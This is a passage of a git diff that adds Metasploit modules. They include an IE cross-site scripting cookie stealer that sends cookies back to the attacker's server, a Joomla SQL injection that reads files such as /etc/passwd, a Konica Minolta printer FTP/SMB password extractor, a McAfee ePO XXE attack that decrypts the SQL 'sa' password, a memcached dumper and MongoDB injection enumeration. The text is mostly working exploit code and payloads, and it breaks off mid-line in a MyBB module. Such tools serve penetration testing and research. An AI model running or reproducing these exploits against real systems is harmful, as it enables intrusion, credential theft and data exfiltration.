src="#{get_resource}/redirect.php"></iframe> +<iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe> +<script> + window.onmessage = function(e){ top[1].postMessage(atob("#{Rex::Text.encode_base64(js)}"),"*"); }; + var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\\\"\\\\",\\\\"*\\\\")'; + top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{get_resource}/sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"'); +</script> + | + end + + def run + exploit + end + + def extract_cookie(uri) + Rex::Text.uri_decode(uri.to_s.scan(/#{ninja_cookie_stealer_name}\?data=(.+)/).flatten[0].to_s) + end + + def on_request_uri(cli, request) + case request.uri + when /redirect\.php/ + print_status("Sending redirect") + send_redirect(cli, "#{datastore['TARGET_URI']}") + when /sleep\.php/ + sleep(3) + send_response(cli, '') + when /#{ninja_cookie_stealer_name}/ + data = extract_cookie(request.uri) + if data.blank? + print_status("The XSS worked, but no cookie") + else + print_status("Got cookie") + print_line(data) + report_note( + :host => cli.peerhost, + :type => 'ie.cookie', + :data => data + ) + path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie") + vprint_good("Cookie stored as: #{path}") + end + else + print_status("Sending HTML") + send_response(cli, get_html) + end + end + +end diff --git a/modules/auxiliary/gather/impersonate_ssl.rb b/modules/auxiliary/gather/impersonate_ssl.rb index 166d6084f8..5177cb5384 100644 --- a/modules/auxiliary/gather/impersonate_ssl.rb +++ b/modules/auxiliary/gather/impersonate_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb new file mode 100644 index 0000000000..9bfbdcd149 --- /dev/null +++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read', + 'Description' => %q{ + Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection + which allows an attacker to access the database or read arbitrary files as the + 'mysql' user. This module will only work if the mysql user Joomla is using + to access the database has the LOAD_FILE permission. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module + ], + 'References' => + [ + ['EDB', '31459'], + ['URL', 'http://developer.joomla.org/security/578-20140301-core-sql-injection.html'] + ], + 'DisclosureDate' => 'Mar 2 2014' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/']), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), + OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0]) + ], self.class) + + end + + def check + + front_marker = Rex::Text.rand_text_alpha(6) + back_marker = Rex::Text.rand_text_alpha(6) + + payload = datastore['CATEGORYID'].to_s + payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}," + payload << "IFNULL(CAST(VERSION() " + payload << "AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#" + + resp = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'), + 'vars_get' => { + 'id' => payload + } + }) + + if !resp or !resp.body + return Exploit::CheckCode::Safe + end + + if resp.body =~ /404<\/span> Category not found/ + return Exploit::CheckCode::Unknown + end + + version = /#{front_marker}(.*)#{back_marker}/.match(resp.body) + + if !version + return Exploit::CheckCode::Safe + end + + version = version[1].gsub(front_marker, '').gsub(back_marker, '') + print_good("Fingerprinted: #{version}") + return Exploit::CheckCode::Vulnerable + end + + def run + front_marker = Rex::Text.rand_text_alpha(6) + back_marker = Rex::Text.rand_text_alpha(6) + file = datastore['FILEPATH'].unpack("H*")[0] + catid = datastore['CATEGORYID'] + + payload = catid.to_s + payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}" + payload << ",IFNULL(CAST(HEX(LOAD_FILE(" + payload << "0x#{file})) AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#" + + resp = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'), + 'vars_get' => { + 'id' => payload + } + }) + + if !resp or !resp.body + fail_with("Server did not respond in an expected way. Verify the IP address.") + end + + if resp.body =~ /404<\/span> Category not found/ + fail_with("The category ID was invalid. Please try again with a valid category ID") + end + + file = /#{front_marker}(.*)#{back_marker}/.match(resp.body) + + if !file + fail_with("Either the file didn't exist or the server has been patched.") + end + + file = file[1].gsub(front_marker, '').gsub(back_marker, '') + file = [file].pack("H*") + + if file == '' or file == "\x00" + fail_with("Either the file didn't exist or the database user does not have LOAD_FILE permissions") + end + + path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH']) + + if path and path != '' + print_good("File saved to: #{path}") + end + end +end + diff --git a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb new file mode 100644 index 0000000000..4f43207091 --- /dev/null +++ b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb @@ -0,0 +1,259 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Konica Minolta Password Extractor', + 'Description' => %q{ + This module will extract FTP and SMB account usernames and passwords + from Konica Minolta multifunction printer (MFP) devices. Tested models include + C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554. + }, + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT('50001'), + OptString.new('USER', [false, 'The default Admin user', 'Admin']), + OptString.new('PASSWD', [true, 'The default Admin password', '12345678']), + OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) + + ], self.class) + end + + # Creates the XML data to be sent that will extract AuthKey + def generate_authkey_request_xlm(major, minor) + user = datastore['USER'] + passwd = datastore['PASSWD'] + Nokogiri::XML::Builder.new do |xml| + xml.send('SOAP-ENV:Envelope', + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/', + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){ + xml.send('SOAP-ENV:Header'){ + xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){ + xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' } + xml.send('UserName', 'xmlns' => '') { xml.text '' } + xml.send('Password', 'xmlns' => '') { xml.text '' } + xml.send('Version', 'xmlns' => ''){ + xml.send('Major') { xml.text "#{major}" } + xml.send('Minor') { xml.text "#{minor}" } + } + xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' } + } + } + xml.send('SOAP-ENV:Body') { + xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){ + xml.send('OperatorInfo'){ + xml.send('UserType') { xml.text "#{user}" } + xml.send('Password') { xml.text "#{passwd}" } + } + xml.send('TimeOut') { xml.text '60' } + } + } + } + end + end + + # Create XML data that will be sent to extract SMB and FTP passwords from device + def generate_pwd_request_xlm(major, minor, authkey) + Nokogiri::XML::Builder.new do |xml| + xml.send('SOAP-ENV:Envelope', + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/', + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){ + xml.send('SOAP-ENV:Header'){ + xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){ + xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' } + xml.send('UserName', 'xmlns' => '') { xml.text '' } + xml.send('Password', 'xmlns' => '') { xml.text '' } + xml.send('Version', 'xmlns' => ''){ + xml.send('Major') { xml.text "#{major}" } + xml.send('Minor') { xml.text "#{minor}" } + } + xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' } + } + } + xml.send('SOAP-ENV:Body'){ + xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){ + xml.send('OperatorInfo'){ + xml.send('AuthKey') { xml.text "#{authkey}" } + } + xml.send('AbbrListCondition'){ + xml.send('SearchKey') { xml.text 'None' } + xml.send('WellUse') { xml.text 'false' } + xml.send('ObtainCondition'){ + xml.send('Type') { xml.text 'OffsetList' } + xml.send('OffsetRange'){ + xml.send('Start') { xml.text '1' } + xml.send('Length') { xml.text '100' } + } + } + xml.send('BackUp') { xml.text 'true' } + xml.send('BackUpPassword') { xml.text 'MYSKIMGS' } + } + } + } + } + end + end + + # This next section will post the XML soap messages for information gathering. + def run_host(ip) + print_status("Attempting to extract username and password from the host at #{peer}") + version + end + + # Validate XML Major Minor version + def version + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>' + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml0_body = ::Nokogiri::XML(response.body) + major_parse = xml0_body.xpath('//Major').text + minor_parse = xml0_body.xpath('//Minor').text + major = ("#{major_parse}") + minor = ("#{minor_parse}") + login(major, minor) + end + + rescue ::Rex::ConnectionError + print_error("#{peer} - Version check Connection failed.") + end + + # This section logs on and retrieves AuthKey token + def login(major, minor) + authreq_xml = generate_authkey_request_xlm(major, minor) + # Send post request with crafted XML to login and retreive AuthKey + begin + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => authreq_xml.to_xml + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml1_body = ::Nokogiri::XML(response.body) + authkey_parse = xml1_body.xpath('//AuthKey').text + authkey = ("#{authkey_parse}") + extract(major, minor, authkey) + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Login Connection failed.") + end + end + + # This section post xml soap message that will extract usernames and passwords + def extract(major, minor, authkey) + if (authkey != '') + # create xml request to extract user credintial settings + smbreq_xml = generate_pwd_request_xlm(major, minor, authkey) + # Send post request with crafted XML as data + begin + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => smbreq_xml.to_xml + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml2_body = ::Nokogiri::XML(response.body) + @smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text } + @smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text } + @smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text } + @ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text } + @ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text } + @ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text } + @ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text } + end + end + i = 0 + # output SMB data + @smb_user.each do + shost = "#{@smb_host[i]}" + sname = "#{@smb_user[i]}" + sword = "#{@smb_pass[i]}" + print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139") + register_creds('smb', shost, '139', sname, sword) + i += 1 + end + i = 0 + # output FTP data + @ftp_user.each do + fhost = "#{@ftp_host[i]}" + fname = "#{@ftp_user[i]}" + fword = "#{@ftp_pass[i]}" + fport = "#{@ftp_port[i]}" + print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}") + register_creds('ftp', fhost, fport, fname, fword) + i += 1 + end + + else + print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model') + return + end + end + + def register_creds(service_name, remote_host, remote_port, username, password) + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + workspace_id: myworkspace.id, + private_data: password, + private_type: :password, + username: username + } + + service_data = { + address: remote_host, + port: remote_port, + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/gather/mantisbt_admin_sqli.rb b/modules/auxiliary/gather/mantisbt_admin_sqli.rb index ee97c1ba28..07e91a0437 100644 --- a/modules/auxiliary/gather/mantisbt_admin_sqli.rb +++ b/modules/auxiliary/gather/mantisbt_admin_sqli.rb @@ -1,12 +1,11 @@ ## -## This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit4 < Msf::Auxiliary - Rank = GoodRanking include Msf::Exploit::Remote::HttpClient @@ -100,5 +99,6 @@ class Metasploit4 < Msf::Auxiliary print_good("File saved to: #{path}") end end + end diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb new file mode 100644 index 0000000000..4d3803f39a --- /dev/null +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -0,0 +1,259 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure', + 'Description' => %q{ + This module will exploit an authenticated XXE vulnerability to read the keystore.properties + off of the filesystem. This properties file contains an encrypted password that is set during + installation. What is interesting about this password is that it is set as the same password + as the database 'sa' user and of the admin user created during installation. This password + is encrypted with a static key, and is encrypted using a weak cipher (ECB). By default, + if installed with a local SQL Server instance, the SQL Server is listening on all interfaces. + + Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server + user in order to achieve remote command execution with permissions of the database process. If + the administrator has not changed the password for the initially created account since installation, + the attacker will have the password for this account. By default, 'admin' is recommended. + + Any user account can be used to exploit this, all that is needed is a valid credential. + + The most data that can be successfully retrieved is 255 characters due to length restrictions + on the field used to perform the XXE attack. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>' #metasploit module + ], + 'References' => + [ + ['CVE', '2015-0921'], + ['CVE', '2015-0922'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8'] + ], + 'DisclosureDate' => 'Jan 6 2015' + )) + + register_options( + [ + Opt::RPORT(8443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), + OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) + ], self.class) + end + + def run + key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used + + aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk + aes.decrypt + aes.padding=1 + aes.key = key + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'), + 'method' => 'POST', + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'] + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + if res.code != 302 + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + #This vuln requires a bit of setup before we can exploit it + + print_status("Setting up environment for exploitation") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'), + 'vars_get' => { + 'sectionId' => 'orion.automation', + 'tabId' => 'orion.tasklog', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'filter' => 'scheduler.tasklog.filter.day', + 'secondaryFilter' => '', + 'tableCellRendererAttr' => 'taskLogCellRenderer', + 'count' => 44, + 'sortProperty' => 'OrionTaskLogTask.StartDate', + 'sortOrder' => 1, + 'id' => 'taskLogTable' + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), + 'method' => 'POST', + 'vars_post' => { + 'dataSourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'columnWidths' => '285,285,285,285,285,285,285,285', + 'sortColumn' => 'OrionTaskLogTask.StartDate', + 'sortOrder' => '1', + 'showFilters' => 'true', + 'currentIndex' => 0, + 'orion.user.security.token' => auth_token, + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), + 'method' => 'POST', + 'vars_post' => { + 'displayType' => 'text_lookup', + 'operator' => 'eq', + 'propKey' => 'OrionTaskLogTask.Name', + 'instanceId' => 0, + 'orion.user.security.token' => auth_token, + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + print_status("Sending payload...") + + filepath = "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties" + xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+filepath+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>' + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), + 'method' => 'POST', + 'vars_post' => { + 'orion.user.security.token' => auth_token, + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'conditionXML' => xxe, + 'secondaryFilter' => '', + 'op' => 'eq', + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + if res.code == 404 + fail_with(Failure::Unknown, "Server likely has mitigation in place") + end + + print_status("Getting encrypted passphrase value from keystore.properties file...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ + + passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") + + print_status("Base64 encoded encrypted passphrase: #{passphrase}") + + passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final + + print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}") + end + +end diff --git a/modules/auxiliary/gather/memcached_extractor.rb b/modules/auxiliary/gather/memcached_extractor.rb new file mode 100644 index 0000000000..2aa7fee13d --- /dev/null +++ b/modules/auxiliary/gather/memcached_extractor.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Memcached Extractor', + 'Description' => %q( + This module extracts the slabs from a memcached instance. It then + finds the keys and values stored in those slabs. + ), + 'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt'] + ] + )) + + register_options( + [ + Opt::RPORT(11211) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]), + OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10]) + ], self.class + ) + end + + def max_keys + datastore['MAXKEYS'].to_i + end + + def print_keys + datastore['PRINTKEYS'].to_i + end + + def localhost?(ip) + %w(localhost 127.0.0.1).include?(ip) + end + + # Returns array of keys for all slabs + def enumerate_keys + keys = [] + enumerate_slab_ids.each do |sid| + loop do + sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0) + data = sock.recv(4096) + break if !data || data.length == 0 + matches = /^ITEM (?<key>.*) \[/.match(data) + keys << matches[:key] if matches + break if data =~ /^END/ + end + end + keys + end + + # Returns array of slab ids as strings + def enumerate_slab_ids + sock.send("stats slabs\r\n", 0) + slab_ids = [] + loop do + data = sock.recv(4096) + break if !data || data.length == 0 + matches = data.scan(/^STAT (?<slab_id>(\d)*):/) + slab_ids << matches + break if data =~ /^END/ + end + slab_ids.flatten! + slab_ids.uniq! || [] + end + + def data_for_keys(keys = []) + all_data = {} + keys.each do |key| + sock.send("get #{key}\r\n", 0) + data = [] + loop do + data_part = sock.recv(4096) + break if !data_part || data_part.length == 0 + data << data_part + break if data_part =~ /^END/ + end + all_data[key] = data.join + end + all_data + end + + def determine_version + sock.send("version\r\n", 0) + stats = sock.recv(4096) + if /^VERSION (?<version>[\d\.]+)/ =~ stats + version + else + nil + end + end + + def run_host(ip) + peer = "#{ip}:#{rport}" + vprint_status("#{peer} - Connecting to memcached server...") + begin + connect + if (version = determine_version) + vprint_good("#{peer} - Connected to memcached version #{version}") + unless localhost?(ip) + report_service( + host: ip, + name: 'memcached', + port: rport, + proto: 'tcp', + info: version + ) + end + else + print_error("#{peer} - unable to determine memcached protocol version") + return + end + keys = enumerate_keys + print_good("#{peer} - Found #{keys.size} keys") + return if keys.size == 0 + + data = data_for_keys(keys) + result_table = Rex::Ui::Text::Table.new( + 'Header' => "Keys/Values Found for #{peer}", + 'Indent' => 1, + 'Columns' => [ 'Key', 'Value' ] + ) + data.take(print_keys).each { |key, value| result_table << [key, value.inspect] } + print_line + print_line("#{result_table}") + unless localhost?(ip) + path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor') + print_good("#{peer} - memcached loot stored at #{path}") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout + vprint_error("#{peer} - Could not connect to memcached server!") + end + end +end diff --git a/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb new file mode 100644 index 0000000000..b0a0f92d8e --- /dev/null +++ b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => "MongoDB NoSQL Collection Enumeration Via Injection", + 'Description' => %q{ + This module can exploit NoSQL injections on MongoDB versions less than 2.4 + and enumerate the collections available in the data via boolean injections. + }, + 'License' => MSF_LICENSE, + 'Author' => + ['Brandon Perry <bperry.volatile[at]gmail.com>'], + 'References' => + [ + ['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript'] + ], + 'Platform' => ['linux', 'win'], + 'Privileged' => false, + 'DisclosureDate' => "Jun 7 2014")) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]']) + ], self.class) + end + + def syntaxes + [["\"'||this||'", "'||[inject]||'"], + ["\"';return+true;var+foo='", "';return+[inject];var+foo='"], + ['\'"||this||"','"||[inject]||"'], + ['\'";return+true;var+foo="', '";return+[inject];var+foo="'], + ["||this","||[inject]"]] + end + + def run + uri = datastore['TARGETURI'] + + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', '') + }) + + if !res + fail_with("Server did not respond in an expected way.") + end + + pay = "" + fals = res.body + tru = nil + + syntaxes.each do |payload| + print_status("Testing " + payload[0]) + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', payload[0]) + }) + + if res and res.body != fals and res.code == 200 + print_status("Looks like " + payload[0] + " works") + tru = res.body + + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this')) + }) + + if res and res.body != tru and res.code == 200 + vprint_status("I think I confirmed with a negative test.") + fals = res.body + pay = payload[1] + break + end + end + end + + if pay == '' + fail_with("Couldn't detect a payload, maybe it isn't injectable.") + end + + length = 0 + vprint_status("Getting length of the number of collections.") + (0..100).each do |len| + str = "db.getCollectionNames().length==#{len}" + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str)) + }) + + if res and res.body == tru + length = len + print_status("#{len} collections are available") + break + end + end + + vprint_status("Getting collection names") + + names = [] + (0...length).each do |i| + vprint_status("Getting length of name for collection " + i.to_s) + + name_len = 0 + (0..100).each do |k| + str = "db.getCollectionNames()[#{i}].length==#{k}" + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str)) + }) + + if res and res.body == tru + name_len = k + print_status("Length of collection #{i}'s name is #{k}") + break + end + end + + vprint_status("Getting collection #{i}'s name") + + name = '' + (0...name_len).each do |k| + [*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c| + str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'" + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str)) + }) + + if res and res.body == tru + name << c + break + end + end + end + + print_status("Collections #{i}'s name is " + name) + names << name + end + + p = store_loot("mongo_injection.#{datastore['RHOST']}_collections", + "text/plain", + nil, + names.to_json, + "mongo_injection_#{datastore['RHOST']}.txt", + "#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration") + + print_good("Your collections are located at: " + p) + end +end diff --git a/modules/auxiliary/gather/mybb_db_fingerprint.rb b/modules/auxiliary/gather/mybb_db_fingerprint.rb new file mode 100644 index 0000000000..a2b28822d5 --- /dev/null +++ b/modules/auxiliary/gather/mybb_db_fingerprint.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MyBB Database Fingerprint', + 'Description' => %q{ + This module checks if MyBB is running behind an URL. Also uses a malformed query to + force an error and fingerprint the backend database used by MyBB on version 1.6.12 + and prior. + }, + 'Author' => + [ + #http://www.linkedin.com/pub/arthur-karmanovskii/82/923/812 + 'Arthur Karmanovskii <fnsnic[at]gmail.com>' # Discovery and Metasploit Module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Feb 13 2014')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "MyBB forum directory path", '/forum']) + ], self.class) + end + + def check + begin + uri = normalize_uri(target_uri.path, 'index.php') + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { + 'intcheck' => 1 + } + }) + + if res.nil? || res.code 